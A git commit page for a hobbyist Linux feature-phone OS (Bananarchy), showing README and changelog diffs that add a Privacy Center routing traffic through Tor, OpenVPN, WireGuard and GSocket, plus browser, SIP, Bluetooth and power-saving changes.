Add Privacy Center (Tor, GS-Warp, OpenVPN, GSocket, WireGuard), tunneled DNS, and stage a1105 (vendetta) changelog

This commit is contained in:
Luxferre committed 2026-11-01 20:58:18 +02:00
1 parent 471916424e
commit 2030201539
110 files changed
+5562 -37

No files matched your search

+5 -4
View File
@@ -15,20 +15,21 @@ It uses a pure **X11 (`Xlibre` + `sxmo-de-dwm`)** stack (no Wayland) with **Adre
- `net_tls.h`: shared C++20 TCP + OpenSSL TLS + STARTTLS socket class (`NetStream`), HTTP/HTTPS `GET` client (`httpGet`), MD5/CSPRNG helpers, and RFC 2047 / Base64 / Quoted-Printable MIME decoders.
- `pjsip_media.h`: PJSIP (`pjproject` / `pjmedia-codec/g722` & `pjmedia/alaw_ulaw`) ITU-T G.722 wideband 16 kHz SB-ADPCM and G.711 PCMU/PCMA codec implementation for `sip.so`.
- `monotone.h` + `bananarchy_melody.cpp` (`/usr/bin/bananarchy-melody`): Nokia RTTTL (`.nrt`, `.rtttl`, `.rtx`), Ericsson eMelody (`.emy`), and IrDA iMelody (`.imy`) monophonic ringtone parser and 48 kHz WAV synthesizer.
- `locker_plugin.cpp` (`locker.so` / `xlocker`) + `verify_passcode.c` (`/usr/bin/bananarchy-verify-passcode`), `passcode_plugin.cpp` (`passcode.so` / `xpasscode`), `dialer_plugin.cpp` (`dialer.so` / `xdialer`), `calllog_plugin.cpp` (`calllog.so` / `xcalllog`), `callscreen_plugin.cpp` (`callscreen.so` / `xcallscreen`), `contacts_plugin.cpp` (`contacts.so` / `xcontacts`), `sms_plugin.cpp` (`sms.so` / `xsms`), `files_plugin.cpp` (`files.so` / `xfiles`), `camera_plugin.cpp` (`camera.so` / `xcamera`), `themes_plugin.cpp` (`themes.so` / `xthemes`), `modem_plugin.cpp` (`modem.so` / `xmodem`), `networks_plugin.cpp` (`networks.so` / `xnetworks` / `xbluetooth`), `ringtones_plugin.cpp` (`ringtones.so` / `xringtones`), `wallpapers_plugin.cpp` (`wallpapers.so` / `xwallpapers` / `xbackground`), `music_plugin.cpp` (`music.so` / `xmusic` / `xplayer`), `sip_plugin.cpp` (`sip.so` / `xsip`), `email_plugin.cpp` (`email.so` / `xemail` / `xmail`), `irc_plugin.cpp` (`irc.so` / `xirc`), `tox_plugin.cpp` (`tox.so` / `xtox`), `smallweb_plugin.cpp` (`smallweb.so` / `xkopher` / `kopher` / `xsmallweb`), `webarchy_plugin.cpp` (`webarchy.so` / `webarchy` / `xwebarchy`), `gps_plugin.cpp` (`gps.so` / `xgps` / `xmaps` / `xnav`).
- `dwm_plugin_runner.c`: lightweight `/usr/bin/dwm-plugin` launcher symlinked by `xlocker`, `xpasscode`, `xdrawer`, `xdialer`, `xcalllog`, `xcallscreen`, `xcontacts`, `xsms`, `xfiles`, `xcamera`, `xthemes`, `xmodem`, `xnetworks`, `xbluetooth`, `xringtones`, `xwallpapers`, `xbackground`, `xmusic`, `xplayer`, `xsip`, `xemail`, `xmail`, `xirc`, `xtox`, `xkopher`, `kopher`, `xsmallweb`, `webarchy`, `xwebarchy`, `xgps`, `xmaps`, `xnav`, `dmenu`, and `xdmenu`.
- `locker_plugin.cpp` (`locker.so` / `xlocker`) + `verify_passcode.c` (`/usr/bin/bananarchy-verify-passcode`), `passcode_plugin.cpp` (`passcode.so` / `xpasscode`), `dialer_plugin.cpp` (`dialer.so` / `xdialer`), `calllog_plugin.cpp` (`calllog.so` / `xcalllog`), `callscreen_plugin.cpp` (`callscreen.so` / `xcallscreen`), `contacts_plugin.cpp` (`contacts.so` / `xcontacts`), `sms_plugin.cpp` (`sms.so` / `xsms`), `files_plugin.cpp` (`files.so` / `xfiles`), `camera_plugin.cpp` (`camera.so` / `xcamera`), `themes_plugin.cpp` (`themes.so` / `xthemes`), `modem_plugin.cpp` (`modem.so` / `xmodem`), `networks_plugin.cpp` (`networks.so` / `xnetworks` / `xbluetooth`), `ringtones_plugin.cpp` (`ringtones.so` / `xringtones`), `wallpapers_plugin.cpp` (`wallpapers.so` / `xwallpapers` / `xbackground`), `music_plugin.cpp` (`music.so` / `xmusic` / `xplayer`), `sip_plugin.cpp` (`sip.so` / `xsip`), `email_plugin.cpp` (`email.so` / `xemail` / `xmail`), `irc_plugin.cpp` (`irc.so` / `xirc`), `tox_plugin.cpp` (`tox.so` / `xtox`), `smallweb_plugin.cpp` (`smallweb.so` / `xkopher` / `kopher` / `xsmallweb`), `webarchy_plugin.cpp` (`webarchy.so` / `webarchy` / `xwebarchy`), `gps_plugin.cpp` (`gps.so` / `xgps` / `xmaps` / `xnav`), `privacy_plugin.cpp` (`privacy.so` / `xprivacy` / `privacy`).
- `dwm_plugin_runner.c`: lightweight `/usr/bin/dwm-plugin` launcher symlinked by `xlocker`, `xpasscode`, `xdrawer`, `xdialer`, `xcalllog`, `xcallscreen`, `xcontacts`, `xsms`, `xfiles`, `xcamera`, `xthemes`, `xmodem`, `xnetworks`, `xbluetooth`, `xringtones`, `xwallpapers`, `xbackground`, `xmusic`, `xplayer`, `xsip`, `xemail`, `xmail`, `xirc`, `xtox`, `xkopher`, `kopher`, `xsmallweb`, `webarchy`, `xwebarchy`, `xgps`, `xmaps`, `xnav`, `xprivacy`, `privacy`, `dmenu`, and `xdmenu`.
- `src/xdrawer/`: global phone controls overlay (`xdrawer.so` / `xdrawer`), toggled by pressing both softkeys simultaneously.
- `src/sxmo-st/`: patched `st` terminal with HarfBuzz OpenType ligatures (`Fira Code`), `XIM` (`fcitx5-t9`), and live `SIGUSR1` `.Xresources` reload.
- `src/fcitx5-t9/`: 6-mode keypad input method (`abc`, `Abc`, `ABC`, `Sym`, `Ctl`, `123` + `*` long-press `Ctrl+` latch) with fixed bottom preedit bar (`Y=290, H=30`).
- `src/games/`: standalone keypad-driven `240x320` X11 games and emulators (`snake.cpp` -> `/usr/bin/snake`, `tetris.cpp` -> `/usr/bin/tetris`, `scoundrel.cpp` -> `/usr/bin/scoundrel`, `gambatte_phone.cpp` + `gambatte/` -> `/usr/bin/gambatte` / `/usr/bin/gbemu`, and `remedy/` -> `/usr/bin/remedy` / `/usr/bin/j2me` J2ME MIDP 2.0 / CLDC 1.1 + JSR-184 M3G 3D emulator) with built-in 5x7 bitmap fonts, NeoUI integration, `timerfd`-driven pacing, and offscreen `Pixmap` / EGL double buffering.
- `src/msm8905-cam/` & `src/leds-msm8905-torch/`: out-of-tree Linux `6.12.1-msm8916` kernel modules for the rear `GC2395` / `GC2385` / `GC2365` camera (`/dev/video0`) and `SY7807` torch LED (`white:torch`) / WCD codec init / PM8909 `PON` shutdown.
- `overlay/rootfs/`: system configuration overlay applied over the target rootfs (kept in sync with `prebuilt/`).
- `prebuilt/`: cross-compiled `armv7` binaries and kernel modules (`sxmo-x11`, `fcitx5-t9`, `xlibre`, `kernel-6.12.1-msm8916`, `bantam`, `games`).
- `prebuilt/`: cross-compiled `armv7` binaries and kernel modules (`sxmo-x11`, `fcitx5-t9`, `xlibre`, `kernel-6.12.1-msm8916`, `bantam`, `games`, `gsocket`).
- `devices/` & `patches/`: device trees (`.dts`/`.dtb`), MIPI-DBI panel init sequences, and upstream patch sets.
## 3. Build and image generation commands
All cross-compilation scripts run inside rootless Docker (`alpine:3.24` `armv7` sysroot) and automatically update both `prebuilt/` and `overlay/rootfs/`:
- `./scripts/build-sxmo-x11.sh` — builds `libneoui.so`, `st`, `dmenu.so`, `dwm`, `dwm-plugin`, `bananarchy-verify-passcode`, `bananarchy-melody`, `sxmo_vibrate`, and all C++ `.so` plugins (`locker`, `passcode`, `xdrawer`, `dialer`, `calllog`, `callscreen`, `contacts`, `sms`, `files`, `camera`, `themes`, `modem`, `networks`, `ringtones`, `wallpapers`, `music`, `sip`, `email`, `irc`, `tox`, `smallweb`, `webarchy`, `gps`).
- `./scripts/build-sxmo-x11.sh` — builds `libneoui.so`, `st`, `dmenu.so`, `dwm`, `dwm-plugin`, `bananarchy-verify-passcode`, `bananarchy-melody`, `sxmo_vibrate`, and all C++ `.so` plugins (`locker`, `passcode`, `xdrawer`, `dialer`, `calllog`, `callscreen`, `contacts`, `sms`, `files`, `camera`, `themes`, `modem`, `networks`, `ringtones`, `wallpapers`, `music`, `sip`, `email`, `irc`, `tox`, `smallweb`, `webarchy`, `gps`, `privacy`).
- `./scripts/build-gsocket.sh` — fetches and cross-compiles `gsocket` (`gs-netcat`, `gsocket`, `gs-sftp`, `gs-mount`, `blitz`) for `armv7`.
- `./scripts/build-dmenu.sh` — rebuilds only `dmenu.so`, `stest`, `dmenu_path`, and `dmenu_run`.
- `./scripts/build-games.sh` — builds standalone X11 games and emulators in `src/games/` (`snake`, `tetris`, `scoundrel`, `gambatte` / `gbemu`, `remedy` / `j2me`).
- `./scripts/build-fcitx5-t9.sh` — builds `src/fcitx5-t9` (`libt9.so` / `t9.so`).
+41 -21
View File
@@ -9,23 +9,53 @@ Release versions follow the `<year-letter><MM><DD>` format (where `2026` is `a`,
---
## Build `a1105` — codename `vendetta` (2026-11-05)
### New features and improvements
- **Privacy Center (`privacy.so` / `xprivacy` / `privacy`) and tunneling stack (`tor`, `gsocket`, `gs-warp`, `openvpn`, `wireguard-tools`, `bananarchy-privacy-ctl`)**:
- Cross-compiled `gsocket` (`gs-netcat`, `gsocket`, `gs-sftp`, `gs-mount`, `blitz`) for `armv7` (`./scripts/build-gsocket.sh`), installed `tor`, `openvpn`, `wireguard-tools` (`wg`, `wg-quick`), `iptables`, `ip6tables`, `iproute2`, and `bash`, enabled `xt_owner.ko.zst` (`CONFIG_NETFILTER_XT_MATCH_OWNER=m`) and `nft_redir.ko.zst` (`CONFIG_NFT_REDIR=m`) in the `6.12.1-msm8916` kernel, and installed the `gs-warp` client (`/usr/bin/gs-warp-simple.sh`, `/usr/bin/gs-warp`, `/etc/gs-warp/client.ovpn`, and `~/.config/gs-warp/client.ovpn`).
- Added `/usr/bin/bananarchy-privacy-ctl` and the 5-tab NeoUI **Privacy Center (`privacy.so` / `xprivacy` / `privacy`)** DWM plugin (`1:Tor`, `2:Warp`, `3:OVPN`, `4:GS`, `5:WG`) to start/stop and route native phone traffic and/or Wi-Fi hotspot (`10.42.0.0/24`) and USB-tethered (`usb0`) traffic through **Tor** (`TransPort 9040` / `DNSPort 9053`), **GS-Warp** (`tun_gswarp`, `table 210`, custom GSocket secret string), **OpenVPN** (`tun_ovpn`, `table 220`, custom `.ovpn` file picker), **GSocket single TCP port** (`gs-netcat`, custom secret and TCP port `iptables -t nat REDIRECT`), and **WireGuard** (`wg0`, `table 230`, `fwmark 0xca6c`, keypair generator, `.conf` importer, and custom key/endpoint editor).
- Added automatic tunneled DNS resolution (`sync_dns_resolv` managing `/etc/resolv.conf` with clean backup/restore, `DNSPort 9053` UDP redirection for Tor, `dhcp-option DNS` extraction and `DNAT` through `tun_gswarp` / `tun_ovpn` / `wg0` for VPN tunnels, and `BP6_DNS_OUT` / `BP6_DNS_FWD` IPv6 port 53 leak blocking).
- Disabled all background OpenRC runlevel links for `tor`, `openvpn`, `iptables`, `ip6tables`, and `nftables` so zero background daemons or CPU wakeups occur when tunnels are off, and blocked `xprivacy` and `bananarchy-privacy-ctl` (while automatically running `bananarchy-privacy-ctl stop-all`) in Duress Mode.
- **Webarchy Web browser (`webarchy.so` / `webarchy` / `xwebarchy`)**:
- Implemented a full-featured `240x320` HTML5/CSS3/JS web browser built on WPE / WebKit (`webkit2gtk-4.1` + `libwpe-1.0` + `libwpebackend-fdo-1.0`) with Adreno 304 hardware acceleration (`WEBKIT_HARDWARE_ACCELERATION_POLICY_ALWAYS` and WebGL) and 512 MB RAM pressure tuning (`160 MB` WebProcess cap and lazy engine startup), `Mozilla/5.0 (Mobile; rv:123.0) Gecko/123.0 Firefox/123.0 KAIOS/4.0` as the default User-Agent with preset and custom User-Agent override (`~/.config/sxmo/webarchy_ua.txt`), `UTF-8` default encoding fallback, default dark browser theme preference (`prefers-color-scheme: dark` and `color-scheme: light dark`), `Noto Sans` / `Noto Serif` (`font-noto` + `font-noto-emoji`) as the default non-monospace web and form control fonts and `Fira Code` with OpenType ligatures as the monospace font, full GStreamer multimedia (`MediaSource` / MSE, WebAudio, inline `<video>`/`<audio>`, and autoplay enabled by default without requiring user gestures), unobtrusive bookmarking (`*HTTPS`/`*HTTP` header indicator, `*`+`0-9` save / `#`+`0-9` load chords, `**`/`#*` homepage chords, and bookmark manager modal in `~/.config/sxmo/webarchy_bookmarks.tsv`), and dual navigation modes (keypad link-stepping mode with NeoUI multi-tap HTML form input by default, plus an optional `*#` accelerated mouse cursor emulation mode).
- **SIP VoIP (`sip.so` / `xsip`) and IRCv3 (`irc.so` / `xirc`) upgrades**:
- Upgraded **SIP (`sip.so` / `xsip`)** with direct accountless P2P/federated SIP URI calling (`user@host[:port]` or `sip:user@host[:port]`), alphanumeric username/password multi-tap entry, RFC 3263 DNS `SRV` (`_sip._udp.<domain>`) proxy discovery, RFC 3261 Timer A `INVITE` retransmission with multi-`A` proxy failover, `Record-Route`/`Contact` dialog routing, RFC 6189 **ZRTP** media-path key agreement (`DH3k` 3072-bit / `DH2k` 2048-bit Diffie-Hellman, `H0..H3` SHA-256 hash chain, Castagnoli CRC-32C framing, `a=zrtp-hash` SDP signaling, and 4-character Base32 `SAS` verification code) with RFC 3711 **SRTP** (`AES-128-CM` + `HMAC-SHA1-80`/`32`) encrypted voice media, incoming and active `[SIP/<codec>]` / `[SIP/<codec>:<sas>]` call badges in `xcallscreen`, wideband and narrowband multi-codec RTP/SRTP audio (`G.711 PCMU`/`PCMA` 8 kHz via PJSIP `pjmedia`, `GSM 06.10` Full Rate 8 kHz, `Opus` 16 kHz / 48 kHz RTP clock with in-band FEC, `ITU-T G.722` 16 kHz wideband SB-ADPCM via PJSIP `pjmedia-codec/g722`, `ITU-T G.726-32` 8 kHz ADPCM, `IMA ADPCM DVI4` 8/16 kHz, and `L16` uncompressed 16-bit PCM 8/16 kHz) with per-account and direct-mode codec preference selection, and seamless early-media (`183 Session Progress` -> `200 OK`) `arecord`/`aplay` stream continuity.
- Upgraded **IRC (`irc.so` / `xirc`)** with `1:Chat` default tab ordering, `433` nick-in-use fallback, `470` channel forwarding tracking, `/close` and `/clear` commands, targeted buffer closing (`Menu -> Close Buffer` or `BackSpace` in `Buffers`), and notification hook integration in `BG Mode`.
- **Bluetooth audio (`A2DP`, `HSP/HFP`), HID peripherals (keyboards, mice, gamepads), discoverability & alias settings, and active connection badges (`xnetworks`, `bananarchy-bt-obex`, `sxmo_audio.sh`, `dwm`, `libneoui.so`)**:
- Configured BlueZ (`/etc/bluetooth/main.conf`, `/etc/bluetooth/input.conf`) and WirePlumber (`50-bluetooth.conf`) with full **A2DP** (`a2dp_sink`, `a2dp_source` with `sbc_xq`, `aac`, `ldac`, `aptx`, `aptx_hd`), **HSP/HFP** (`hsp_hs`, `hsp_ag`, `hfp_hf`, `hfp_ag` with `mSBC` wideband speech and hardware volume), and **HID / BLE HOGP** (`uhid`, `hidp`, `uinput`, `rfcomm`, `bnep`, `xpad`) profile support, and added `Bluetooth` as a selectable audio output/input route in `sxmo_audio.sh`, `xdrawer`, and `dmenu` Audio menu (plus automatic PipeWire `"default"` ALSA routing in `gambatte` and `remedy` when Bluetooth audio is active).
- Added **Discoverable** (`ON (Visible)` / `OFF (Hidden)`, persisted in `~/.config/sxmo/bt_discoverable`) and **Bluetooth Device Name** (`Name: <Alias> [Edit]` with a multi-tap modal editor persisted in `~/.config/sxmo/bt_name` and applied via `bluetoothctl system-alias` independently of the system hostname) rows to the `3:Bluetooth` tab of `xnetworks`, alongside active connection count headers (`Bluetooth: ON (N Active)`), pinned active device cards with live profile and battery badges (`[ACTIVE: A2DP]`, `[ACTIVE: HSP/HFP]`, `[ACTIVE: HID Gamepad]`, `[ACTIVE: HID Keyboard]`, `[ACTIVE: HID Mouse]`), and a **Switch Audio (A2DP / HSP-HFP)** action.
- Added an automatic `/dev/uinput` gamepad-to-keypad bridge (`Bananarchy BT Gamepad Bridge`) inside `/usr/bin/bananarchy-bt-obex` so Bluetooth/USB gamepads (`D-Pad` / `Left Stick` -> `Up`/`Down`/`Left`/`Right`, `South/A` -> `Enter`, `East/B` -> `8`, `West/X` -> `5`, `North/Y` -> `6`, `Start` -> `2`, `Select` -> `3`, `L1`/`R1` -> `Left`/`Right softkey`, `L2`/`R2` -> `*`/`0`, `Mode` -> `Escape`) control all NeoUI apps and games (`snake`, `tetris`, `scoundrel`, `gambatte`, `remedy`) out of the box, and added dynamic `XFixes` cursor visibility in `dwm` (and `ButtonPress` handling in `dwm` and `libneoui.so`) so connecting a Bluetooth mouse shows the cursor on movement/click and hides it automatically on keypad use.
- **Universal Power button (`dmenu power`) access, lockscreen X11 grab preemption, ReMEdy `Call (green)` pause menu, JSR expansion, and 64 MB mark-and-sweep GC**:
- Updated `dwm`, `dmenu`, `xdrawer`, `libneoui.so`, `sxmo_multikey.sh`, all standalone Xlib DWM plugins, and standalone games (`scoundrel`, `gambatte`, `remedy`) so pressing **End / Power (red)** (`XF86PowerOff`, keycode `124`) from any active window or menu immediately opens (or toggles) the system **Power menu (`dmenu power`)** while mapped **Call (green)** (`XF86Phone` / `XF86PickupPhone`) and `500 ms` **Right softkey** hold in `remedy` open the **ReMEdy Pause Menu**.
- Updated `locker.so` (`xlocker`) and `dwm` to preempt active X11 keyboard grabs and window stacking over any running fullscreen application or game (`webarchy`, `remedy`, `gambatte`, `scoundrel`, `snake`, `tetris`, and all NeoUI plugins) when the screen locks, cleanly restoring the previously focused application upon unlock.
- Upgraded **ReMEdy (`remedy` / `j2me`)** with a `64 MB` heap budget and mark-and-sweep garbage collector (`System.gc()` / `Runtime.gc()`, `freeSlots_` object reuse, and full heap/JAR release on MIDlet exit), synchronous `Canvas.serviceRepaints()`, `Thread.yield()` / `Thread.sleep()` background thread stepping, synthetic native static field storage (`System.out`, `System.err`, `List.SELECT_COMMAND`, `AlertType.*`, `Boolean.TRUE/FALSE`), exact `String` reference preservation in `List.getString()` and `ChoiceGroup.getString()` (for `MeBoy` / `GTA 2` GBC-to-J2ME cartridges), `java.io.InputStreamReader` / `OutputStreamWriter`, `java.lang.Float` / `Double` / `Character`, **JSR-75** (`FileSystemRegistry` / `FileConnection`), **JSR-82** (`javax.bluetooth.*`), **JSR-120** (`javax.wireless.messaging.*`), **JSR-135** (`MIDIControl`), full **Nokia `DirectGraphics`** (`drawPixels`, `getPixels`, `fillPolygon`, `drawPolygon`, `fillTriangle`, `drawTriangle`, `setARGBColor`), and automatic/configurable sub-QVGA (`128x128`, `128x160`, `176x208`, `176x220`) canvas scaling (`Asphalt 6: Adrenaline`).
- **Kernel-to-userspace battery and idle power optimizations**:
- Added `msm8905_cam_hw_deinit()` to the rear camera kernel driver (`src/msm8905-cam/msm8905-cam.c`) and wired it into `streamoff`, last-file-handle `release`, and module `exit` so closing `xcamera` (or stopping V4L2 streaming) immediately stops the CSI-2 stream, asserts sensor hardware standby (`GPIO_CAM_RESET=0`, `GPIO_CAM_STANDBY=0`, `GPIO_CAM_VDIG=0`, `GPIO_CAM_MCLK0=0x0001`), gates all 20 `CAMSS` `CBCR` branch clocks and 6 `RCG` roots (`200 MHz` `vfe0` / `csi0` / `camss_top_ahb` and `24 MHz` `mclk0`), releases `SMMU` vote clocks, and powers down the `VFE GDSC` domain.
- Enabled `workqueue.power_efficient=Y` and `printk.console_suspend=Y` in `/etc/local.d/10-power-save.start`, lowered `78b9000.spi` runtime PM `autosuspend_delay_ms` from `1000 ms` to `50 ms`, enabled runtime PM (`power/control=auto`) across `1c00000.gpu`, `*.spi`, `*.sdhci`, and `*.serial`, switched the `7864900.sdhci` microSD host controller from driver unbinding to kernel runtime PM (`runtime_status = suspended`) with hardware GPIO 38 hotplug detection, and removed the legacy `ttyMSM0` serial `getty` rule from `scripts/configure-rootfs-from-scratch.sh`.
- Set the DSDS `msm-modem-uim-selection` `select()` timeout to infinite (`None`, pure `AF_QIPCRTR` event-driven wait) while the screen is locked and `600s` when unlocked, added `neoui_next_timeout_ms()` to `libneoui.so`, wired GLib `GMainContext` file descriptors and `"load-failed"` / `closeWindow()` load-stop handling into `webarchy.so` (along with `NO_AT_BRIDGE=1` and `GTK_A11Y=none`), added `inotify` directory watching to `sms.so`, and eliminated idle periodic `poll()` timers across `dialer.so`, `calllog.so`, `contacts.so`, `sms.so`, `xdrawer.so`, `locker.so`, `email.so`, `irc.so`, `smallweb.so`, `tox.so`, `sip.so`, and `webarchy.so` so visible and background plugins sleep at `0%` CPU unless a transient timer (`softkey` chord, multi-tap window, or toast expiry) is active.
- Skipped `dwm` `drawbar()` Xorg/Glamor/SPI redraws and `sxmo_hook_statusbar.sh` process spawns whenever `bl_power != 0` or `/tmp/bananarchy_screen_locked` exists (with immediate bar refresh on wake/unlock) and wrapped background spawns in double-fork subshells `( ... & )` across `bananarchy-x11-session.sh`, `sxmo_modemmonitor.sh`, `sxmo_hook_start.sh`, `sxmo_hook_postwake.sh`, and `msm-modem-uim-selection` to eliminate zombie child accumulation.
- **Literal caller ID contact matching (`sxmo_contacts.sh`, `sxmo_common.sh`, `sxmo_modemsendsms.sh`)**:
- Replaced unescaped `grep -i "$NUMBER"` contact lookups with literal matching so carrier service numbers containing regex metacharacters (such as `*121#`) never match arbitrary contact entries.
---
## Build `a1031` — codename `myers` (2026-10-31)
### New features and improvements
- **Native NeoUI communication and internet suite (`xsip`, `xemail`, `xirc`, `xtox`, `xkopher`, `webarchy`)**:
- **SIP VoIP client (`sip.so` / `xsip`)**: implemented an RFC 3261 SIP softphone (`Dialer`, `Accounts`, `History` tabs) supporting both account-registered calling (with alphanumeric username/password multi-tap entry, Digest MD5 authentication, and background standby `REGISTER` keepalive) and direct accountless P2P/federated SIP URI calling (`user@host[:port]` or `sip:user@host[:port]`) with RFC 3263 DNS `SRV` (`_sip._udp.<domain>`) proxy discovery, RFC 3261 Timer A `INVITE` retransmission with multi-`A` proxy failover, `Record-Route`/`Contact` dialog routing, RFC 6189 **ZRTP** media-path key agreement (`DH3k` 3072-bit / `DH2k` 2048-bit Diffie-Hellman, `H0..H3` SHA-256 hash chain, Castagnoli CRC-32C framing, `a=zrtp-hash` SDP signaling, and 4-character Base32 `SAS` verification code) with RFC 3711 **SRTP** (`AES-128-CM` + `HMAC-SHA1-80`/`32`) encrypted voice media, incoming `INVITE` standby wakeup and call handling integrated with `xcallscreen` (`[SIP/<codec>]` / `[SIP/<codec>:<sas>]`), wideband and narrowband multi-codec RTP/SRTP audio (`G.711 PCMU`/`PCMA` 8 kHz via PJSIP `pjmedia`, `GSM 06.10` Full Rate 8 kHz, `Opus` 16 kHz / 48 kHz RTP clock with in-band FEC, `ITU-T G.722` 16 kHz wideband SB-ADPCM via PJSIP `pjmedia-codec/g722`, `ITU-T G.726-32` 8 kHz ADPCM, `IMA ADPCM DVI4` 8/16 kHz, and `L16` uncompressed 16-bit PCM 8/16 kHz) with per-account and direct-mode codec preference selection, seamless early-media (`183 Session Progress` -> `200 OK`) `arecord`/`aplay` stream continuity, and RFC 2833 / RFC 4733 DTMF tones.
- **Native NeoUI communication and internet suite (`xsip`, `xemail`, `xirc`, `xtox`, `xkopher`)**:
- **SIP VoIP client (`sip.so` / `xsip`)**: implemented an RFC 3261 SIP softphone (`Dialer`, `Accounts`, `History` tabs) with Digest MD5 authentication, background standby `REGISTER` keepalive, incoming `INVITE` standby wakeup and call handling integrated with `xcallscreen` (`[SIP]`), bidirectional G.711 (`PCMU`/`PCMA` 8 kHz) RTP audio streaming, and RFC 2833 DTMF tones.
- **Email client (`email.so` / `xemail` / `xmail`)**: implemented a multi-account `IMAP4rev1`, `POP3`, and `SMTP` client (`Inbox`, `Compose`, `Accounts` tabs) supporting implicit TLS (`993`/`995`/`465`), `STARTTLS` (`143`/`110`/`587`), and plain TCP, SASL `PLAIN`/`LOGIN` authentication, RFC 2047 encoded-word header decoding, Base64/Quoted-Printable MIME body decoding, HTML tag stripping, offline inbox cache (`~/.local/share/sxmo/email/`), full-screen reader, and message composer/reply.
- **IRCv3 client (`irc.so` / `xirc`)**: implemented a multi-server IRC client (`Chat`, `Buffers`, `Servers` tabs) with OpenSSL TLS, IRCv3 capability negotiation (`CAP LS 302`: `sasl`, `server-time`, `message-tags`, `multi-prefix`, `away-notify`, `account-notify`, `chghost`, `cap-notify`), `SASL PLAIN` authentication, `433` nick-in-use fallback and `470` channel forwarding tracking, slash commands (`/join`, `/part`, `/close`, `/msg`, `/nick`, `/me`, `/clear`, `/raw`, `/quit`), targeted buffer closing (`Menu -> Close Buffer` or `BackSpace` in `Buffers`), and a resident background mode (`BG Mode`) that keeps sockets connected when the window is closed and triggers notification hooks on nick highlights or private messages.
- **IRCv3 client (`irc.so` / `xirc`)**: implemented a multi-server IRC client (`Buffers`, `Chat`, `Servers` tabs) with OpenSSL TLS, IRCv3 capability negotiation (`CAP LS 302`: `sasl`, `server-time`, `message-tags`, `multi-prefix`, `away-notify`, `account-notify`, `chghost`, `cap-notify`), `SASL PLAIN` authentication, slash commands (`/join`, `/part`, `/msg`, `/nick`, `/me`, `/topic`, `/raw`, `/quit`), and a resident background mode (`BG_STAY`) that keeps sockets connected when the window is closed and vibrates on nick highlights or private messages.
- **Tox / Trifa P2P messenger and audio call client (`tox.so` / `xtox`)**: built an encrypted P2P messenger and voice call client (`Friends`, `Chat`, `My Tox ID` tabs) on `c-toxcore` (`libtoxcore.so.2`), featuring persistent profile storage (`~/.local/share/sxmo/tox/profile.tox`), non-blocking IPv4 DHT + TCP relay bootstrap, friend request handling, persistent chat logs, and standby incoming `ToxAV` 48 kHz Opus voice calls integrated with `xcallscreen` (`[TOX]`).
- **Kopher SmallWeb browser (`smallweb.so` / `xkopher` / `kopher` / `xsmallweb`)**: implemented a multi-protocol SmallWeb client supporting **Gopher** (`gopher://`) with optional TLS (`gophers://`), **Gemini** (`gemini://`), **Spartan** (`spartan://`), and **Nex** (`nex://`), featuring default WAP-style keypad controls from [Kopher](https://code.luxferre.top/luxferre/kopher.git) (`2`/`8` line scroll, `4`/`6` link navigation, `1`/`7` horizontal scroll, `3`/`9` page top/end, `5`/`OK` open link, `*` toggle wrap, `#` toggle light/dark reader theme, `0` reload, `Call` address bar), user-customizable keybindings (`~/.config/sxmo/smallweb_controls.tsv`), 10 bookmarks, and custom homepage support.
- **Webarchy Web browser (`webarchy.so` / `webarchy` / `xwebarchy`)**: implemented a full-featured `240x320` HTML5/CSS3/JS web browser built on WPE / WebKit (`webkit2gtk-4.1` + `libwpe-1.0` + `libwpebackend-fdo-1.0`) with Adreno 304 hardware acceleration (`WEBKIT_HARDWARE_ACCELERATION_POLICY_ALWAYS` and WebGL) and 512 MB RAM pressure tuning (`160 MB` WebProcess cap and lazy engine startup), `Mozilla/5.0 (Mobile; rv:123.0) Gecko/123.0 Firefox/123.0 KAIOS/4.0` as the default User-Agent with preset and custom User-Agent override (`~/.config/sxmo/webarchy_ua.txt`), `UTF-8` default encoding fallback, default dark browser theme preference (`prefers-color-scheme: dark` and `color-scheme: light dark`), `Noto Sans` / `Noto Serif` (`font-noto` + `font-noto-emoji`) as the default non-monospace web and form control fonts and `Fira Code` with OpenType ligatures as the monospace font, full GStreamer multimedia (`MediaSource` / MSE, WebAudio, inline `<video>`/`<audio>`, and autoplay enabled by default without requiring user gestures), unobtrusive bookmarking (`*HTTPS`/`*HTTP` header indicator, `*`+`0-9` save / `#`+`0-9` load chords, `**`/`#*` homepage chords, and bookmark manager modal in `~/.config/sxmo/webarchy_bookmarks.tsv`), and dual navigation modes (keypad link-stepping mode with NeoUI multi-tap HTML form input by default, plus an optional `*#` accelerated mouse cursor emulation mode).
- **GPS reception test utility (`bananarchy-gps`) and OpenStreetMap navigator (`gps.so` / `xgps` / `xmaps` / `xnav`)**:
- Added `/usr/bin/bananarchy-gps` (`status|enable|disable|nmea|watch`) to configure and inspect GNSS (`--location-enable-gps-nmea --location-enable-gps-raw --location-enable-3gpp`) and QMI PDS (`qmicli -d qrtr://0 --pds-*`) reception from the command line.
- Implemented `gps.so` (`xgps` / `xmaps` / `xnav`) with 3 tabs: **`1:GPS Status`** (live Fix state, Latitude, Longitude, Altitude, Speed, Heading, Satellites used/in-view, HDOP, UTC time, 3GPP cell `MCC`/`MNC`/`TAC`/`CID`, and raw NMEA stream), **`2:OSM Map`** (interactive `240x212` OpenStreetMap slippy-map tile viewer with offline PNG tile caching in `~/.cache/sxmo/osm_tiles/<z>/<x>/<y>.png`, pan/zoom, GPS follow marker, waypoint pins, and route polyline overlay), and **`3:Nav/Search`** (Nominatim geocoding search, saved waypoints in `~/.config/sxmo/gps_waypoints.tsv`, and OSRM turn-by-turn road routing).
- **Passcode-based fullscreen phone locker (`locker.so` / `xlocker`) and GUI passcode configurator (`passcode.so` / `xpasscode`)**:
- Added a fullscreen `240x320` (`X=0, Y=0`) override-redirect numeric passcode lock screen (`xlocker` / `locker.so`) verified against the current user's shadow password (`147147` by default, supporting any numeric passcode of `4+` digits) via `/usr/bin/bananarchy-verify-passcode`, activating automatically upon GUI startup on device boot.
- Added a NeoUI-based **Passcode & Duress Configurator (`passcode.so` / `xpasscode`)** in the **Config** and **Applications** menus with two tabs (`User PIN` and `Duress PIN`) to change the real Linux `user` password in `/etc/shadow` (`4+` numeric digits, immediately updating `/etc/shadow` for SSH, TTY, and `doas`/`sudo` authentication after verifying the current PIN) and configure or clear a separate numeric duress passcode (`/etc/bananarchy/duress.hash`, rejecting collisions with the real user passcode).
